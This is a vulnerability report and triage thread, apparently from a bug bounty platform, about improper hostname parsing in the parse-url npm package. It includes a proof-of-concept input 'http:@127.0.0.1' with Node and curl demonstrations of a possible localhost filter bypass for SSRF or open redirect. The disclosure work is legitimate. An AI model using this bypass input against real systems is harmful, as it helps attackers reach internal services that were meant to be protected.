Improper Input Validation in ionicabizau/parse-url
Reported on
Feb 23rd 2022
Description
If hostname is not entered as in the following PoC, Open Redirect and SSRF occur because hostname is empty.
Proof of Concept
// PoC : http:@127.0.0.1
const parseUrl = require("parse-url")
const http = require("http")
url = parseUrl("http:@127.0.0.1")
console.log(url)
console.log(http.get(url.href))
Output
{
protocols: [],
protocol: 'file',
port: null,
resource: '',
user: '',
pathname: 'http:@127.0.0.1',
hash: '',
search: '',
href: 'http:@127.0.0.1',
query: [Object: null prototype] {}
}
ClientRequest {
_events: [Object: null prototype] {
socket: [Function: bound onceWrapper] { listener: [Function: onSocket] }
},
_eventsCount: 1,
_maxListeners: undefined,
outputData: [
{
data: 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n',
encoding: 'latin1',
callback: [Function: bound onFinish]
}
],
outputSize: 54,
writable: true,
_last: true,
chunkedEncoding: false,
shouldKeepAlive: false,
_defaultKeepAlive: true,
useChunkedEncodingByDefault: false,
sendDate: false,
_removedConnection: false,
_removedContLen: false,
_removedTE: false,
_contentLength: 0,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
socket: null,
connection: null,
_header: 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n',
_keepAliveTimeout: 0,
_onPendingData: [Function: noopPendingOutput],
agent: Agent {
_events: [Object: null prototype] {
free: [Function],
newListener: [Function: maybeEnableKeylog]
},
_eventsCount: 2,
_maxListeners: undefined,
defaultPort: 80,
protocol: 'http:',
options: { path: null },
requests: {},
sockets: { '127.0.0.1:80:': [Array] },
freeSockets: {},
keepAliveMsecs: 1000,
keepAlive: false,
maxSockets: Infinity,
maxFreeSockets: 256,
maxTotalSockets: Infinity,
totalSocketCount: 1,
scheduling: 'fifo',
[Symbol(kCapture)]: false
},
socketPath: undefined,
method: 'GET',
insecureHTTPParser: undefined,
path: '/',
_ended: false,
res: null,
aborted: false,
timeoutCb: null,
upgradeOrConnect: false,
parser: null,
maxHeadersCount: null,
reusedSocket: false,
host: '127.0.0.1',
protocol: 'http:',
[Symbol(kCapture)]: false,
[Symbol(kNeedDrain)]: false,
[Symbol(corked)]: 0,
[Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', '127.0.0.1' ] }
}
Occurrences
Hi Pocas! This report is somewhat confusing. Are you describing a vulnerability in parse-url
or in http
?
Hello! This report describes a problem with url-parser. When parsing a poc by url-parser, the value of hostname is not parsed properly. If you look at the return value, you can see that the url is resolved to a path. However, it is explained that the above url is a general url, so requests can be sent normally. That is, this is a parsing error for the input value.
https://www.huntr.dev/bounties/83a6bc9a-b542-4a38-82cd-d995a1481155/
refer to the report above
Ah got it but from your explanation, it seems like this parsing error can only be escalated into a vulnerability when chained with other components that may misuse the pathname
property
Hmm, This is a problem because it does not correctly parse the hostname after the @ character. If it is normal, the value of hostname should be google.com. But that's not the case, this is similar to the reference report above, thanks!
I understand the parsing issue but fail to see the clear escalation for this to be a vulnerability (without making assumptions of how it may be chained with other components)
Hmm... So, isn't the other url-parser a vulnerability? Everything else was said to be valid. Yes I did not select this as Open Redirect, SSRF, Authorization Bypass. So I chose cwe-20, and you can see reports about cwe-20 on snyk.
I think we should stay focussed on this report. The issue I see with this report is that it's very unclear how this can be escalated into a vulnerability (rather than just a parsing issue).
Looking at this from a CVSS perspective, I fail to see how this affects Confidentiality, Integrity or Availability (without making assumptions about how it may be used).
for example, a specific developer is using this url-parser module to prevent the ssrf vulnerability. However, an attacker can bypass the localhost domain through a parsing error. without this assumption, in most cases the issue of url-parser would not be a vulnerability. I will follow the admin opinion in this regard. however, I hope that all the reports should be unified into one consistently. thanks
Regarding this report, I'll recommend an adjustment to the severity to remove the consideration of these assumptions of how it can be chained to lead to a vulnerability. If the maintainer perceives that these use cases are likely, they are able to update the severity to indicate this.
Thank you for the report! I am wondering what the expected output would be in this case. http:@127.0.0.1
is in fact a valid local path. Is there a case when this would be a real URL?
{
protocols: [],
protocol: 'file',
port: null,
resource: '',
user: '',
pathname: 'http:@127.0.0.1',
hash: '',
search: '',
href: 'http:@127.0.0.1',
query: [Object: null prototype] {}
}
Yes! But if you look at the resulting value, you can see that the localhost url is not being parsed properly. You can see it parsed as pathname. Originally pathname should be empty, resource(hostname) should be 127.0.0.1 !
{
protocols: ['http'],
protocol: 'http',
port: null,
resource: '127.0.0.1',
user: '',
pathname: '',
hash: '',
search: '',
href: 'http:@127.0.0.1',
query: [Object: null prototype] {}
}
For example, it should be parsed as above!
Well, the input is not really a valid URL (or is it?) — hence, it is identified as file
(see the protocol). Then, of course the pathname
is being set instead of any other fields.
The above URL is a valid URL, and a working URL. This should be the hacker's point of view. Normal users are not likely to bypass hostnames such as localhost. However, hackers can use this to bypass hostname and perform ssrf or open redirect attacks. Because the parser doesn't parse it properly
# http.get()
ClientRequest {
_events: [Object: null prototype] {
socket: [Function: bound onceWrapper] { listener: [Function: onSocket] }
},
_eventsCount: 1,
_maxListeners: undefined,
outputData: [
{
data: 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n',
encoding: 'latin1',
callback: [Function: bound onFinish]
}
],
outputSize: 54,
writable: true,
_last: true,
chunkedEncoding: false,
shouldKeepAlive: false,
_defaultKeepAlive: true,
useChunkedEncodingByDefault: false,
sendDate: false,
_removedConnection: false,
_removedContLen: false,
_removedTE: false,
_contentLength: 0,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
socket: null,
connection: null,
_header: 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n',
_keepAliveTimeout: 0,
_onPendingData: [Function: noopPendingOutput],
agent: Agent {
_events: [Object: null prototype] {
free: [Function],
newListener: [Function: maybeEnableKeylog]
},
_eventsCount: 2,
_maxListeners: undefined,
defaultPort: 80,
protocol: 'http:',
options: { path: null },
requests: {},
sockets: { '127.0.0.1:80:': [Array] },
freeSockets: {},
keepAliveMsecs: 1000,
keepAlive: false,
maxSockets: Infinity,
maxFreeSockets: 256,
maxTotalSockets: Infinity,
totalSocketCount: 1,
scheduling: 'fifo',
[Symbol(kCapture)]: false
},
socketPath: undefined,
method: 'GET',
insecureHTTPParser: undefined,
path: '/',
_ended: false,
res: null,
aborted: false,
timeoutCb: null,
upgradeOrConnect: false,
parser: null,
maxHeadersCount: null,
reusedSocket: false,
host: '127.0.0.1',
protocol: 'http:',
[Symbol(kCapture)]: false,
[Symbol(kNeedDrain)]: false,
[Symbol(corked)]: 0,
[Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', '127.0.0.1' ] }
}
# curl
~ curl -i http:@localhost ✔ 9134 02:57:46
HTTP/1.1 200 OK
Date: Thu, 24 Feb 2022 17:57:48 GMT
Server: Apache/2.4.51 (Unix)
Last-Modified: Thu, 24 Feb 2022 17:56:05 GMT
ETag: "a-5d8c74bc75740"
Accept-Ranges: bytes
Content-Length: 10
Content-Type: text/html
localhost
# chrome browser
Entet the http:@localhost as url
https://www.huntr.dev/bounties/83a6bc9a-b542-4a38-82cd-d995a1481155/
you can also refer to the above url
const parser = require('url-parse');
console.log(parser("http:@127.0.0.1"))
output
{
slashes: true,
protocol: 'http:',
hash: '',
query: '',
pathname: '/',
auth: '',
host: '127.0.0.1',
port: '',
hostname: '127.0.0.1',
password: '',
username: '',
origin: 'http://127.0.0.1',
href: 'http://127.0.0.1/'
}
Above is the return value of the unshiftio/url-parse module.